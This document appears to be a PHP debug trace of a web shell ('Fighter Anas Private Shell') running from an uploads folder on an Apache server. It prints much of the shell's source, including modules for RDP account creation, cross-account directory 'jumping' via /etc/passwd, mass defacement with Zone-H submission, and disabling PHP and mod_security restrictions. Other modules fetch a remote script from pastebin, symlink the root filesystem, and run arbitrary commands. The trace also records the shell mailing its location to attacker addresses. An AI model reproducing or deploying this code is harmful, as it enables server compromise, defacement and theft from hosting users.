";\n }\n } elseif($_POST[\'s_opsi\']) {\n $user = htmlspecialchars($_POST[\'r_user\']);\n if($_POST[\'opsi\'] == \'1\') {\n $cek = exe("net user $user");\n echo "Checking username $user ....... ";\n if(preg_match("/$user/", $cek)) {\n echo "[ Sudah ada ]
\n ------------------------------

\n 
$cek
";\n } else {\n echo "[ belum ada ]";\n }\n } elseif($_POST[\'opsi\'] == \'2\') {\n $cek = exe("net user $user indoxploit");\n if(preg_match("/$user/", exe("net user"))) {\n echo "[change password: indoxploit] -> ";\n if($cek) {\n echo "ok";\n } else {\n echo "Filed";\n }\n } else {\n echo "[INFO] -> user $user belum ada";\n }\n } elseif($_POST[\'opsi\'] == \'3\') {\n $cek = exe("net user $user /DELETE");\n if(preg_match("/$user/", exe("net user"))) {\n echo "[remove user: $user] -> ";\n if($cek) {\n echo "ok";\n } else {\n echo "error";\n }\n } else {\n echo "[INFO] -> user $user belum ada";\n }\n } else {\n //\n }\n } else {\n echo "-- Create RDP --
\n \n \n \n >\'>\n \n -- Option --
\n
\n \n \n >\'>\n
\n ";\n }\n } else {\n echo "can only be on Windows server.";\n }\n#JUMPING\n} elseif($_GET[\'a\'] == \'jumping\') {\n $i = 0;\n echo "
";\n if(preg_match("/hsphere/", $dir)) {\n $urls = explode("\\r\\n", $_POST[\'url\']);\n if(isset($_POST[\'jump\'])) {\n echo "
";\n            foreach($urls as $url) {\n                $url = str_replace(array("http://","www."), "", strtolower($url));\n                $etc = "/etc/passwd";\n                $f = fopen($etc,"r");\n                while($gets = fgets($f)) {\n                    $pecah = explode(":", $gets);\n                    $user = $pecah[0];\n                    $dir_user = "/hsphere/local/home/$user";\n                    if(is_dir($dir_user) === true) {\n                        $url_user = $dir_user."/".$url;\n                        if(is_readable($url_user)) {\n                            $i++;\n                            $jrw = "[R] $url_user";\n                            if(is_writable($url_user)) {\n                                $jrw = "[RW] $url_user";\n                            }\n                            echo $jrw."
";\n                        }\n                    }\n                }\n            }\n        if($i == 0) { \n        } else {\n            echo "
Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "
";\n } else {\n echo \'
\n
\n List Domains:
\n
\n \n
\';\n }\n } elseif(preg_match("/vhosts|vhost/", $dir)) {\n preg_match("/\\/var\\/www\\/(.*?)\\//", $dir, $vh);\n $urls = explode("\\r\\n", $_POST[\'url\']);\n if(isset($_POST[\'jump\'])) {\n echo "
";\n            foreach($urls as $url) {\n                $url = str_replace("www.", "", $url);\n                $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";\n                if(is_dir($web_vh) === true) {\n                    if(is_readable($web_vh)) {\n                        $i++;\n                        $jrw = "[R] $web_vh";\n                        if(is_writable($web_vh)) {\n                            $jrw = "[RW] $web_vh";\n                        }\n                        echo $jrw."
";\n                    }\n                }\n            }\n        if($i == 0) { \n        } else {\n            echo "
Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "
";\n } else {\n echo \'
\n
\n List Domains:
\n
\n \n
\';\n }\n } else {\n echo "
";\n        $etc = fopen("/etc/passwd", "r") or die("Can\'t read /etc/passwd");\n        while($passwd = fgets($etc)) {\n            if($passwd == \'\' || !$etc) {\n                echo "Can\'t read /etc/passwd";\n            } else {\n                preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\n                foreach($user_jumping[1] as $user_idx_jump) {\n                    $user_jumping_dir = "/home/$user_idx_jump/public_html";\n                    if(is_readable($user_jumping_dir)) {\n                        $i++;\n                        $jrw = "[R] $user_jumping_dir";\n                        if(is_writable($user_jumping_dir)) {\n                            $jrw = "[RW] $user_jumping_dir";\n                        }\n                        echo $jrw;\n                        if(function_exists(\'posix_getpwuid\')) {\n                            $domain_jump = file_get_contents("/etc/named.conf");    \n                            if($domain_jump == \'\') {\n                                echo " => ( gabisa ambil nama domain nya )
";\n                            } else {\n                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\n                                foreach($domains_jump[1] as $dj) {\n                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\n                                    $user_jumping_url = $user_jumping_url[\'name\'];\n                                    if($user_jumping_url == $user_idx_jump) {\n                                        echo " => ( $dj )
";\n                                        break;\n                                    }\n                                }\n                            }\n                        } else {\n                            echo "
";\n                        }\n                    }\n                }\n            }\n        }\n        if($i == 0) { \n        } else {\n            echo "
Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "
";\n }\n echo "
";\n\n//Zone-H Mass Poster\n} elseif($_GET[\'a\'] == \'zone-h\') {\n if($_POST[\'submit\']) {\n$domain = explode("\\r\\n", $_POST[\'url\']);\n$nick = $_POST[\'nick\'];\necho "Defacer Onhold : http://www.zone-h.org/archive/notifier=$nick/published=0
";\necho "Defacer Archive : http://www.zone-h.org/archive/notifier=$nick

";\nfunction zoneh($url,$nick) {\n $ch = curl_init("http://www.zone-h.com/notify/single");\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");\n return curl_exec($ch);\n curl_close($ch);\n}\nforeach($domain as $url) {\n $zoneh = zoneh($url,$nick);\n if(preg_match("/color=\\"red\\">OK<\\/font><\\/li>/i", $zoneh)) {\n echo "$url -> -> OK
";\n } else {\n echo "$url -> -> ERROR
";\n }\n}\n } else {\necho "
Zone-H Mass Submit

\n
\nDefacer:
\n
\nDomain:
\n
\n\n
";\n }\n echo "
";\n\n//MASS Deface\n} elseif(isset($_GET[\'a\']) && ($_GET[\'a\'] == \'mass_deface\')){\n function sabun_massal($dir,$namafile,$isi_script) {\n foreach($j as $lokasi)\n if(is_writable($dir)) {\n $dira = scandir($dir);\n foreach($dira as $dirb) {\n $dirc = "$dir/$dirb";\n $lokasi = $dirc.\'/\'.$namafile;\n if($dirb === \'.\') {\n file_put_contents($lokasi, $isi_script);\n } elseif($dirb === \'..\') {\n file_put_contents($lokasi, $isi_script);\n } else {\n if(is_dir($dirc)) {\n if(is_writable($dirc)) {\n \n echo "[Selesai Gan] $lokasi
";\n file_put_contents($lokasi, $isi_script);\n $idx = sabun_massal($dirc,$namafile,$isi_script);\n }\n }\n }\n }\n }\n }\n function sabun_biasa($dir,$namafile,$isi_script) {\n if(is_writable($dir)) {\n $dira = scandir($dir);\n foreach($dira as $dirb) {\n $dirc = "$dir/$dirb";\n $lokasi = $dirc.\'/\'.$namafile;\n if($dirb === \'.\') {\n file_put_contents($lokasi, $isi_script);\n } elseif($dirb === \'..\') {\n file_put_contents($lokasi, $isi_script);\n } else {\n if(is_dir($dirc)) {\n if(is_writable($dirc)) {\n echo "[Selesai Gan] $dirb/$namafile
";\n file_put_contents($lokasi, $isi_script);\n }\n }\n }\n }\n }\n }\n if($_POST[\'start\']) {\n if($_POST[\'tipe_sabun\'] == \'mahal\') {\n echo "
";\n sabun_massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\n echo "
";\n } elseif($_POST[\'tipe_sabun\'] == \'murah\') {\n echo "
";\n sabun_biasa($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\n echo "
";\n }\n } else {\n echo "
";\n echo "
\n Type of mass :
\n All Dir mass deface1 Dir
\n Folder :
\n
\n Filename :
\n
\n Deface page :
\n
\n \n
";\n }\n \n\n#CHANGEPASSWORDCP\n } elseif($_GET[\'a\'] == \'getcp\') {\n $full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\n function getcp($url, $isi) {\n $fp = fopen($isi, "w");\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, CURLOPT_FILE, $fp);\n return curl_exec($ch);\n curl_close($ch);\n fclose($fp);\n ob_flush();\n flush();\n }\n if(file_exists(\'getcp.php\')) {\n echo "
-> click >:( <-
";\n } else {\n if(getcp("https://pastebin.com/raw/bsL2gBtu","getcp.php")) {\n echo "
okk
";\n } else {\n echo "
Error :(
";\n }\n }\n\n\n} elseif($_GET[\'a\'] == \'disablefunc\'){\n echo "

";\n echo "
  
";\n if(isset($_POST[\'ini\']))\n{\n $file = fopen("php.ini","w");\n echo fwrite($file,"disable_functions=none\nsafe_mode = Off\n ");\n fclose($file);\n echo "click here!";\n} if(isset($_POST[\'htce\']))\n{\n $file = fopen(".htaccess","w");\n echo fwrite($file,"\nSecFilterEngine Off\nSecFilterScanPOST Off\n\n ");\n fclose($file);\n echo "htaccess successfully created!";\n} if(isset($_POST[\'litini\'])){\n $iniph = \'\';\n $byph = "safe_mode = Off n disable_functions= ";\n $comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";\n file_put_contents("php.ini",base64_decode($byph));\n file_put_contents("ini.php",base64_decode($iniph));\n file_put_contents(".htaccess",base64_decode($comp));\n echo "";\n echo"
";\n}\n\n}\nelseif($_GET[\'a\'] == \'symlink\') {\n$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $path);\n$d0mains = @file("/etc/named.conf");\n##httaces\nif($d0mains){\n@mkdir("fighter_sym",0777);\n@chdir("fighter_sym");\n@exe("ln -s / root");\n$file3 = \'Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\';\n$fp3 = fopen(\'.htaccess\',\'w\');\n$fw3 = fwrite($fp3,$file3);@fclose($fp3);\necho "
\n\n\n\n\n\n\n";\n$dcount = 1;\nforeach($d0mains as $d0main){\nif(eregi("zone",$d0main)){preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\nflush();\nif(strlen(trim($domains[1][0])) > 2){\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\necho "\n\n\n";\nflush();\n$dcount++;}}}\necho "
S. No.DomainsUsersSymlink
" . $dcount . "".$domains[1][0]."".$user[\'name\']."Symlink
";\n}else{\n$TEST=@file(\'/etc/passwd\');\nif ($TEST){\n@mkdir("fighter_sym",0777);\n@chdir("fighter_sym");\nexe("ln -s / root");\n$file3 = \'Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\';\n $fp3 = fopen(\'.htaccess\',\'w\');\n $fw3 = fwrite($fp3,$file3);\n @fclose($fp3);\n echo "\n \n \n \n ";\n $dcount = 1;\n $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");\n while(!feof($file)){\n $s = fgets($file);\n $matches = array();\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\n $matches = str_replace("home/","",$matches[1]);\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\n continue;\n echo "\n ";\n echo "";\n $dcount++;}fclose($file);\n echo "
S. No.UsersSymlink
" . $dcount . "" . $matches . "Symlink
";}else{if($os != "Windows"){@mkdir("fighter_sym",0777);@chdir("fighter_sym");@exe("ln -s / root");$file3 = \'\n Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\n\';\n $fp3 = fopen(\'.htaccess\',\'w\');\n $fw3 = fwrite($fp3,$file3);@fclose($fp3);\n echo "\n

server symlinker

\n \n \n \n ";\n $temp = "";$val1 = 0;$val2 = 1000;\n for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);\n if ($uid)$temp .= join(\':\',$uid)."\\n";}\n echo \'
\';$temp = trim($temp);$file5 =\n fopen("test.txt","w");\n fputs($file5,$temp);\n fclose($file5);$dcount = 1;$file =\n fopen("test.txt", "r") or exit("Unable to open file!");\n while(!feof($file)){$s = fgets($file);$matches = array();\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);$matches = str_replace("home/","",$matches[1]);\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\n continue;\n echo "\n ";\n echo "";\n $dcount++;}\n fclose($file);\n echo "
IDUsersSymlink
" . $dcount . "" . $matches . "Symlink
";unlink("test.txt");\n } else\n echo "
Can not create Symlink
";\n }\n }\n\n##JUMPING \n} elseif($_GET[\'a\'] == \'jumping\') {\n $i = 0;\n echo "
";\n    $etc = fopen("/etc/passwd", "r") or die("Can\'t read /etc/passwd");\n    while($passwd = fgets($etc)) {\nif($passwd == \'\' || !$etc) {\n    echo "Can\'t read /etc/passwd";\n} else {\n    preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\n    foreach($user_jumping[1] as $user_idx_jump) {\n        $user_jumping_dir = "/home/$user_idx_jump/public_html";\n        if(is_readable($user_jumping_dir)) {\n            $i++;\n            $jrw = "[R] $user_jumping_dir";\n            if(is_writable($user_jumping_dir)) {\n                $jrw = "[RW] $user_jumping_dir";\n            }\n            echo $jrw;\n            if(function_exists(\'posix_getpwuid\')) {\n                $domain_jump = file_get_contents("/etc/named.conf");   \n                if($domain_jump == \'\') {\n                    echo " => ( gagal mengambil nama domain nya )
";\n                } else {\n                    preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\n                    foreach($domains_jump[1] as $dj) {\n                        $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\n                        $user_jumping_url = $user_jumping_url[\'name\'];\n                        if($user_jumping_url == $user_idx_jump) {\n                            echo " => ( $dj )
";\n                            break;\n                        }\n                    }\n                }\n            } else {\n                echo "
";\n            }\n        }\n    }\n}\n    }\n    if($i == 0) {\n    } else {\necho "
Total ada ".$i." Kamar di ".gethostbyname($_SERVER[\'HTTP_HOST\'])."";\n    \n    echo "
";\n }\n\n \n\n\n//CONFIG\n\n} elseif($_GET[\'a\'] == \'cmd\') {\n echo "
\n ".$user."@".$ip.": ~ $ \n >\'>\n
";\n if($_POST[\'do_cmd\']) {\n echo "
".exe($_POST[\'cmd\'])."
";\n }\n\n//START\n} elseif(isset($_GET[\'filesrc\'])){\necho "Current File : ";\necho $_GET[\'filesrc\'];\necho \'
\';\necho(\'
\');\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\necho \'
\'.$_POST[\'path\'].\'

\';\nif($_POST[\'opt\'] == \'chmod\'){\nif(isset($_POST[\'perm\'])){\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\necho \' Permission Okk
\';\n}else{\necho \' Permission error
\';\n}\n}\necho \'
\nPermission : \n\n\n\n
\';\n}elseif($_POST[\'opt\'] == \'rename\'){\nif(isset($_POST[\'newname\'])){\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\necho \'Done
\';\n}else{\necho \'error
\';\n}\n$_POST[\'name\'] = $_POST[\'newname\'];\n}\necho \'
\nNama Baru : \n\n\n\n
\';\n}elseif($_POST[\'opt\'] == \'edit\'){\nif(isset($_POST[\'src\'])){\n$fp = fopen($_POST[\'path\'],\'w\');\nif(fwrite($fp,$_POST[\'src\'])){\necho \'Edit File Done
\';\n}else{\necho \'Edit File Error
\';\n}\nfclose($fp);\n}\necho \'
\n
\n\n\n\n
\';\n}\necho \'\';\n}else{\necho \'
\';\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\nif($_POST[\'type\'] == \'dir\'){\nif(rmdir($_POST[\'path\'])){\necho \'Done
\';\n}else{\necho \' Error
\';\n}\n}elseif($_POST[\'type\'] == \'file\'){\nif(unlink($_POST[\'path\'])){\necho \'Done
\';\n}else{\necho \' Error
\';\n}\n}\n}\n \necho \'
\';\n$scandir = scandir($path);\necho \'
\n\n\n\n\n\n\';\n\nforeach($scandir as $dir){\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\necho "\n\n\n\n";\n}\necho \'\';\nforeach($scandir as $file){\nif(!is_file("$path/$file")) continue;\n$size = filesize("$path/$file")/1024;\n$size = round($size,3);\nif($size >= 1024){\n$size = round($size/1024,2).\' MB\';\n}else{\n$size = $size.\' KB\';\n}\n\necho "\n\n\n\n\n";\n}\necho \'
Name
Size
Permissions
Options
\n$dir
Directory
";\n \nif(is_writable("$path/$dir")) echo \'\';\nelseif(!is_readable("$path/$dir")) echo \'\';\necho perms("$path/$dir");\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'\';\n\necho "
\n\n\n\n\n\\" />\n
\n$file
".$size."
";\nif(is_writable("$path/$file")) echo \'\';\nelseif(!is_readable("$path/$file")) echo \'\';\necho perms("$path/$file");\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'\';\necho "
\n\n\n\n\n\\" />\n
\n
\';\n}\necho \'
\n
\nFighter Anas Private Shell V.1 - RoyalBattler BD
Copyright © Fighter Anas
\n\n\n\';\nfunction perms($file){\n$perms = fileperms($file);\n\nif (($perms & 0xC000) == 0xC000) {\n// Socket\n$info = \'s\';\n} elseif (($perms & 0xA000) == 0xA000) {\n// Symbolic Link\n$info = \'l\';\n} elseif (($perms & 0x8000) == 0x8000) {\n// Regular\n$info = \'-\';\n} elseif (($perms & 0x6000) == 0x6000) {\n// Block special\n$info = \'b\';\n} elseif (($perms & 0x4000) == 0x4000) {\n// Directory\n$info = \'d\';\n} elseif (($perms & 0x2000) == 0x2000) {\n// Character special\n$info = \'c\';\n} elseif (($perms & 0x1000) == 0x1000) {\n// FIFO pipe\n$info = \'p\';\n} else {\n// Unknown\n$info = \'u\';\n}\n\n// Owner\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\n$info .= (($perms & 0x0040) ?\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\n(($perms & 0x0800) ? \'S\' : \'-\'));\n\n// Group\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\n$info .= (($perms & 0x0008) ?\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\n(($perms & 0x0400) ? \'S\' : \'-\'));\n\n// World\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\n$info .= (($perms & 0x0001) ?\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\n(($perms & 0x0200) ? \'T\' : \'-\'));\n\nreturn $info;\n}' /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code 4 0 5 26 0 0.007685 967752 ini_set 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1 2 'output_buffering' 0 5 26 1 0.007705 967824 5 26 R FALSE 5 27 0 0.007720 967752 ini_set 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 2 2 'display_errors' 0 5 27 1 0.007739 967824 5 27 R '' 5 28 0 0.007753 967752 set_time_limit 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 3 1 0 5 28 1 0.007770 967816 5 28 R FALSE 5 29 0 0.007783 967784 ini_set 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 4 2 'memory_limit' '64M' 5 29 1 0.007798 967888 5 29 R '128M' 5 30 0 0.007811 967784 header 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 5 1 'Content-Type: text/html; charset=UTF-8' 5 30 1 0.007830 967960 5 30 R NULL 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 6 $tujuanmail = 'serverphpshell@gmail.com' 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 7 $tujuanmail1 = '13shell37@gmail.com' 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 8 $x_path = 'http://localhost/uploads/RBBD.php' 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 9 $pesan_alert = 'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]' 5 31 0 0.007899 968128 mail 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 10 4 'serverphpshell@gmail.com' 'LOGGER' 'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]' '[ 127.0.0.1 ]' 5 31 1 0.008801 968272 5 31 R FALSE 5 32 0 0.008832 968128 mail 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 11 4 '13shell37@gmail.com' 'LOGGER' 'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]' '[ 127.0.0.1 ]' 5 32 1 0.009678 968272 5 32 R FALSE 5 33 0 0.009705 968088 set_time_limit 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 12 1 0 5 33 1 0.009724 968120 5 33 R FALSE 5 34 0 0.009738 968088 error_reporting 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 13 1 0 5 34 1 0.009752 968128 5 34 R 22527 5 35 0 0.009765 968088 get_magic_quotes_gpc 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 24 0 5 35 1 0.009778 968088 5 35 R FALSE 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 57 $nick = 'k0v3T' 5 36 0 0.009807 968088 getcwd 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 61 0 5 36 1 0.009821 968136 5 36 R '/var/www/html/uploads' 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 61 $path = '/var/www/html/uploads' 5 37 0 0.009848 968136 getenv 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 63 1 'SERVER_SOFTWARE' 5 37 1 0.009866 968216 5 37 R 'Apache/2.4.52 (Ubuntu)' 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 63 $software = 'Apache/2.4.52 (Ubuntu)' 5 38 0 0.009893 968184 str_replace 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 64 3 '\\' '/' '/var/www/html/uploads' 5 38 1 0.009910 968280 5 38 R '/var/www/html/uploads' 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 64 $path = '/var/www/html/uploads' 5 39 0 0.009936 968184 explode 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 65 2 '/' '/var/www/html/uploads' 5 39 1 0.009952 968760 5 39 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads'] 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 65 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads'] 5 40 0 0.009987 968688 function_exists 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 70 1 'posix_getegid' 5 40 1 0.010002 968728 5 40 R TRUE 5 41 0 0.010016 968688 posix_geteuid 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 76 0 5 41 1 0.010031 968688 5 41 R 33 5 42 0 0.010043 968688 posix_getpwuid 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 76 1 33 5 42 1 0.010079 969520 5 42 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin'] 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 76 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin'] 5 43 0 0.010125 969488 posix_getegid 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 77 0 5 43 1 0.010138 969488 5 43 R 33 5 44 0 0.010156 969488 posix_getgrgid 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 77 1 33 5 44 1 0.010185 970152 5 44 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33] 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 77 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33] 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 78 $user = 'www-data' 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 79 $uid = 33 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 80 $group = 'www-data' 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 81 $gid = 33 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 85 $id = 0 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 87 $a = TRUE 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 85 $id = 1 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i = 0 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 85 $id = 2 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i = 0 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 85 $id = 3 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i = 0 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 85 $id = 4 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i = 0 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 93 $i++ 5 45 0 0.010514 968768 scandir 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1123 1 '/var/www/html/uploads' 5 45 1 0.010557 969392 5 45 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'RBBD.php', 4 => 'data', 5 => 'prepend.php'] 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1123 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'RBBD.php', 4 => 'data', 5 => 'prepend.php'] 5 46 0 0.010598 969408 is_dir 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1133 1 '/var/www/html/uploads/.' 5 46 1 0.010617 969472 5 46 R TRUE 5 47 0 0.010631 969440 is_dir 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1133 1 